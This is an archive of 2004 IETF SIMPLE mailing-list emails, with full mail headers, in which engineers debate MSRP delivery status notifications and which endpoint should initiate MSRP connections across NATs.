	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 18:38:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayfwz-0002OX-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 18:38:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayfw5-0002F0-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 18:37:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyfvG-00026f-00; Wed, 03 Mar 2004 18:37:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyfvA-0004bf-JQ; Wed, 03 Mar 2004 18:37:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayfv4-0004b2-Vp
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 18:36:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06928
	for <simple@ietf.org>; Wed, 3 Mar 2004 18:36:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayfv1-000260-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:36:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayfu2-0001wZ-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:35:51 -0500
Received: from hoemail1.lucent.com ([192.11.226.161] helo=hoemail1.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayft3-0001f8-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:34:50 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by hoemail1.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23NY5200110;
	Wed, 3 Mar 2004 17:34:05 -0600 (CST)
Received: from lucent.com (il0015vkg1.ih.lucent.com [135.185.173.147]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i23EtZq13693; Wed, 3 Mar 2004 08:55:35 -0600 (CST)
Message-ID: <4045F1D7.7040909@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development/Internet Software and Services
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
CC: Rohan Mahy <rohan@cisco.com>, aki.niemi@nokia.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <2038BCC78B1AD641891A0D1AE133DBB701797822@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797822@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 08:55:19 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

hisham.khartabil@nokia.com wrote:
> Yes, in chunking, I think it is useful to get delivery reports of 
> chunks. Not for every chunk, but for x number of them.

Receipt of X chunks is a protocol-level status notification.
I am confused -- what kind of DSNs are we talking about?
Protocol level or user level?

Opening a dialog box to the user and telling him or her
that "The 9th chunk has been successfully delivered" will
probably not impart too much information to the user.  But
opening a dialog box that says "Message could not be
delivered -- receiver exceeds disk quota to store the message"
is more meaningful to the sender.

User level DSNs may be influenced by presence (I agree with
others who point out that presence is not a pre-requisite
for guaranteed delivery) and by the type of IM session:
page or session mode.

For page mode, Hisham wants to be notified not only
when the IM was delivered but also when it was read.
On the other hand, I want to be only notified if the
message could not be delivered (i.e. I would consider
an intermediary accepting the IM on behalf of an offline
receiver as successful delivery but would like to know if
the receiver has run out of disk space or no longer has
a login in that domain).

- vijay
-- 
Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
Wireless Networks Group/Internet Software and Services
Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
Naperville, Illinois 60566     Voice: +1 630 224 0216

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 18:49:17 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07365
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 18:49:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayg74-0004Fe-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 18:49:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayg53-0003hK-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 18:47:14 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayg3x-0003UY-02; Wed, 03 Mar 2004 18:46:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Ayfsy-0000mO-BY; Wed, 03 Mar 2004 18:34:44 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyfsH-0004GR-CP; Wed, 03 Mar 2004 18:34:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyfsD-0004G6-Ni
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 18:33:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06786
	for <simple@ietf.org>; Wed, 3 Mar 2004 18:33:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyfsA-0001cP-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:33:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyfrD-0001KU-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:32:56 -0500
Received: from hoemail1.lucent.com ([192.11.226.161] helo=hoemail1.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayfq2-0000sj-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:31:42 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by hoemail1.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23NUu227761;
	Wed, 3 Mar 2004 17:30:57 -0600 (CST)
Received: from lucent.com ([135.185.238.88]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i23GYnq00193; Wed, 3 Mar 2004 10:34:49 -0600 (CST)
Message-ID: <4046099B.4020601@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development Group
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
CC: Rohan Mahy <rohan@cisco.com>, aki.niemi@nokia.com,
        hisham.khartabil@nokia.com, vkg@lucent.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com>
In-Reply-To: <404502DD.6040702@lucent.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 10:36:43 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

hisham.khartabil@nokia.com wrote:

 > Yes, in chunking, I think it is useful to get
 > delivery reports of chunks. Not for every chunk, but
 > for x number of them.

Receipt of X chunks is a protocol-level status notification.
I am confused -- what kind of DSNs are we talking about?
Protocol level or user level?

Opening a dialog box to the user and telling him or her
that "The 9th chunk has been successfully delivered" will
probably not impart too much information to the user.  But
opening a dialog box that says "Message could not be
delivered -- receiver exceeds disk quota to store the message"
is more meaningful to the sender.

User level DSNs may be influenced by presence (I agree with
others who point out that presence is not a pre-requisite
for guaranteed delivery) and by the type of IM session:
page or session mode.

For page mode, Hisham wants to be notified not only
when the IM was delivered but also when it was read.
On the other hand, I want to be only notified if the
message could not be delivered (i.e. I would consider
an intermediary accepting the IM on behalf of an offline
receiver as successful delivery but would like to know if
the receiver has run out of disk space or no longer has
a login in that domain).

- vijay


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 18:49:49 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07547
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 18:49:49 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayg79-0005Wp-8u
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 18:49:23 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23NnM8r021239
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 18:49:22 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayg78-0005WU-RV
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 18:49:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07386
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 18:49:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayg75-0004Fm-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 18:49:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayg54-0003hR-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 18:47:14 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayg3x-0003UY-02; Wed, 03 Mar 2004 18:46:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Ayfsy-0000mO-BY; Wed, 03 Mar 2004 18:34:44 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyfsH-0004GR-CP; Wed, 03 Mar 2004 18:34:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyfsD-0004G6-Ni
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 18:33:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06786
	for <simple@ietf.org>; Wed, 3 Mar 2004 18:33:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyfsA-0001cP-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:33:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyfrD-0001KU-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:32:56 -0500
Received: from hoemail1.lucent.com ([192.11.226.161] helo=hoemail1.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayfq2-0000sj-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:31:42 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by hoemail1.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23NUu227761;
	Wed, 3 Mar 2004 17:30:57 -0600 (CST)
Received: from lucent.com ([135.185.238.88]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i23GYnq00193; Wed, 3 Mar 2004 10:34:49 -0600 (CST)
Message-ID: <4046099B.4020601@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development Group
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
CC: Rohan Mahy <rohan@cisco.com>, aki.niemi@nokia.com,
        hisham.khartabil@nokia.com, vkg@lucent.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com>
In-Reply-To: <404502DD.6040702@lucent.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 10:36:43 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

hisham.khartabil@nokia.com wrote:

 > Yes, in chunking, I think it is useful to get
 > delivery reports of chunks. Not for every chunk, but
 > for x number of them.

Receipt of X chunks is a protocol-level status notification.
I am confused -- what kind of DSNs are we talking about?
Protocol level or user level?

Opening a dialog box to the user and telling him or her
that "The 9th chunk has been successfully delivered" will
probably not impart too much information to the user.  But
opening a dialog box that says "Message could not be
delivered -- receiver exceeds disk quota to store the message"
is more meaningful to the sender.

User level DSNs may be influenced by presence (I agree with
others who point out that presence is not a pre-requisite
for guaranteed delivery) and by the type of IM session:
page or session mode.

For page mode, Hisham wants to be notified not only
when the IM was delivered but also when it was read.
On the other hand, I want to be only notified if the
message could not be delivered (i.e. I would consider
an intermediary accepting the IM on behalf of an offline
receiver as successful delivery but would like to know if
the receiver has run out of disk space or no longer has
a login in that domain).

- vijay


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 19:11:25 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA08653
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 19:11:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygSU-0000SS-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 19:11:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AygRM-00009X-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 19:10:17 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygQ1-0007WX-00; Wed, 03 Mar 2004 19:08:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AygDA-0001Ns-FI; Wed, 03 Mar 2004 18:55:36 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AygCd-0006Bd-Ac; Wed, 03 Mar 2004 18:55:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AygBi-00064w-7l
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 18:54:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA08135
	for <simple@ietf.org>; Wed, 3 Mar 2004 18:54:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygBf-0005SP-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:54:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AygAy-0005Id-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:53:21 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygAH-00055e-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:52:37 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i23NqEIw084382;
	Wed, 3 Mar 2004 17:52:15 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <40466EDB.5070004@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: adam@dynamicsoft.com, rohan@cisco.com, pkyzivat@cisco.com,
        fluffy@cisco.com, rsparks@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <2038BCC78B1AD641891A0D1AE133DBB70179782A@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB70179782A@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 08:48:43 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Just for the record, this conversation was about using delayed offers to 
control which MSRP endpoint initiates a connection. I thought that we 
had concensus in the wg meeting to atandardize that one end (either the 
inviter or the invitee) always initiated the connection, if one did not 
already exist. Did people understand otherwise?

If true, then this seems a rather academic excercise.

hisham.khartabil@nokia.com wrote:
> Just for the recond, I fully support adam's views on this issue.
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>ext Adam Roach
>>Sent: 03.March.2004 12:39
>>To: 'Rohan Mahy'; Adam Roach
>>Cc: 'Paul Kyzivat'; Ben Campbell; 'Cullen Jennings'; Robert Sparks;
>>simple@ietf.org
>>Subject: RE: [Simple] RE: MSRP & Comedia
>>
>>
>>I really don't like the prospect of requiring caller
>>prefs to avoid these kind of bizarre and unfortunate
>>user experiences.
>>
>>My main point is that using empty INVITEs seems to
>>cause more problems than it solves. Are these problems
>>completely intractable? Probably not. Are they
>>unpleasant? Well, I certainly think so.
>>
>>So, given the chance, I'd far prefer to see solutions
>>that don't require callee offers explored before we
>>resort to a tool that brings unpleasant consequences
>>(or, at the very least, specific additional mechanisms
>>added throughout the system).
>>
>>/a
>>
>>
>>>-----Original Message-----
>>>From: Rohan Mahy [mailto:rohan@cisco.com]
>>>Sent: Wednesday, March 03, 2004 2:17
>>>To: Adam Roach
>>>Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen 
>>>Jennings'; Robert
>>>Sparks; simple@ietf.org
>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>
>>>
>>>Adam,
>>>
>>>You could use caller prefs even with your 
>>
>>rusty/dusty/trusty "legacy" 
>>
>>>SIP phone  ;-).
>>>
>>>You would need something to add media feature parameters to the 
>>>registration of the 7960 on its behalf.  This is not that 
>>
>>big a deal.
>>
>>>thanks,
>>>-rohan
>>>
>>>
>>>On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
>>>
>>>
>>>>That's all great. Now tell me how it works using
>>>>the Cisco 7960 sitting on my desk right now. Assume
>>>>that upgrading the software is not an option.
>>>>
>>>>/a
>>>>
>>>>
>>>>>-----Original Message-----
>>>>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>>Sent: Tuesday, March 02, 2004 20:09
>>>>>To: Adam Roach
>>>>>Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>>>>simple@ietf.org
>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>
>>>>>
>>>>>There are a couple of solutions to the bad user experience
>>>>>you outline:
>>>>>
>>>>>- the UAC can use callerprefs to indicate what media it desires.
>>>>>   For this to work the UAS would have to evaluate the 
>>
>>callerprefs,
>>
>>>>>   which isn't currently required or expected.
>>>>>
>>>>>- preconditions could be used to ensure that there is a 
>>>
>>>satisfactory
>>>
>>>>>   agreement on media before alerting. In this particular
>>>>>case it would
>>>>>   be the UAS that inserts the preconditions as a way of 
>>>
>>>improving the
>>>
>>>>>   user experience at its end. Most any precondition would 
>>>
>>>do, though
>>>
>>>>>   the newly proposed connectivity precondition would be quite
>>>>>   appropriate. A hypothetical new precondition relating to
>>>>>negotiation
>>>>>   of some acceptable (set of) media stream(s) might also be
>>>>>interesting.
>>>>>
>>>>>Paul
>>>>>
>>>>>Adam Roach wrote:
>>>>>
>>>>>>Okay, so, the user experience you're promoting
>>>>>>here would lead to a situation in which you open
>>>>>>up your IM client, type in a message for me,
>>>>>>and my desktop hard phone starts ringing. Several
>>>>>>seconds later, I pick up the receiver, my hardphone
>>>>>>sends a "200 OK" response, and... well, nothing
>>>>>>good can come of any result at this point.
>>>>>>
>>>>>>If your client supports audio, my voice is suddenly
>>>>>>coming out of your PC speakers. If not, the call
>>>>>>is torn down, your client renders an error to you,
>>>>>>sends me a bye, and I'm sitting there holding a dead
>>>>>>handset.
>>>>>>
>>>>>>This is the problem that I've pointed out occasionally
>>>>>>for several years: this "send an INVITE with no body"
>>>>>>approach for setting up sessions causes all kinds
>>>>>>of problems. It was originally added for interwork
>>>>>>with the prehistoric H.323v1 procedures, and not killed
>>>>>>because we observed that it can be used in this clever
>>>>>>3pcc hack -- but it invariably leads to a message that
>>>>>>semantically means the same thing as the dialog
>>>>>>box that I sent earlier.
>>>>>>
>>>>>>/a
>>>>>>
>>>>>>
>>>>>>
>>>>>>>-----Original Message-----
>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>Sent: Monday, March 01, 2004 8:38
>>>>>>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>>>>Cc: simple@ietf.org
>>>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>It just sends an offer with all three and then the other ends
>>>>>>>selects. This
>>>>>>>is how SIP is today - you can send an invite with no offer
>>>>>>>then get the
>>>>>>>offer in the response and put the answer in the ack.
>>>>>>>
>>>>>>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>From a protocol perspective, this sounds reasonable.
>>>>>>>>
>>>>>>>>I think the key problem is that the first example shifts the
>>>>>>>>decision of what type of communication is requested
>>>>>>>>from the caller to the callee. Without getting into a 
>>
>>discussion
>>
>>>>>>>>of whether that is the "right" thing to do, it certainly is
>>>>>>>>going to differ from user expectations.
>>>>>>>>
>>>>>>>>+----------------------------------------------+
>>>>>>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>>>>| to start a conversation, but I have no idea  |
>>>>>>>>| what kind. Take your best guess:             |
>>>>>>>>|                                              |
>>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>>|    | Voice |  | Voice and video |  | IM |    |
>>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>>+----------------------------------------------+
>>>>>>>>
>>>>>>>>/a
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>>-----Original Message-----
>>>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>>Sent: Friday, February 27, 2004 0:50
>>>>>>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>>>>Cc: simple@ietf.org
>>>>>>>>>Subject: MSRP & Comedia
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>This is a half baked idea that I am just tossing out as food
>>>>>>>>>for thought
>>>>>>>>>
>>>>>>>>>Consider a systems where something like the UA that sends the
>>>>>>>>>answer sends
>>>>>>>>>the VISIT.
>>>>>>>>>
>>>>>>>>>Consider the cases where A want to set up a MSRP 
>>>
>>>session with B.
>>>
>>>>>>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>>>>>>an INVITE with
>>>>>>>>>no offer. B sends an offer, gets back an answer and A
>>>>>>>>
>>>>>>>sends the VISIT.
>>>>>>>
>>>>>>>
>>>>>>>>>A -> inv    -> B
>>>>>>>>>A <- offer  <- B
>>>>>>>>>A -> answer -> B
>>>>>>>>>A -> visit  -> B
>>>>>>>>>
>>>>>>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>>>>A sends VISIT.
>>>>>>>>>A -> offer  -> B
>>>>>>>>>A <- answer <- B
>>>>>>>>>A <- visit  <- B
>>>>>>>>>
>>>>>>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>>>>relay is needed
>>>>>>>>>and gets one and sends offer.
>>>>>>>>>
>>>>>>>>>The underlying principal is basically if you don't know what
>>>>>>>>>port you are
>>>>>>>>>going to receive media at (which is the case with a NAT) you
>>>>>>>>>should not be
>>>>>>>>>making any offers and if you make an offer the assumption is
>>>>>>>>>that the other
>>>>>>>>>side and send media (a VISIT) to that and have it work.
>>>>>>>>>
>>>>>>>>>The fundamental thing I am trying to avoid is two vendors
>>>>>>>>>both saying they
>>>>>>>>>have MSRP compliant systems yet still having them fail to be
>>>>>>>>>able to talk to
>>>>>>>>>each other because they both expect the other one to host.
>>>>>>>>>
>>>>>>>>
>>>>>>>>_______________________________________________
>>>>>>>>Simple mailing list
>>>>>>>>Simple@ietf.org
>>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>_______________________________________________
>>>>>>>Simple mailing list
>>>>>>>Simple@ietf.org
>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>
>>>>>>
>>>>>>
>>>>>>_______________________________________________
>>>>>>Simple mailing list
>>>>>>Simple@ietf.org
>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>
>>>>>
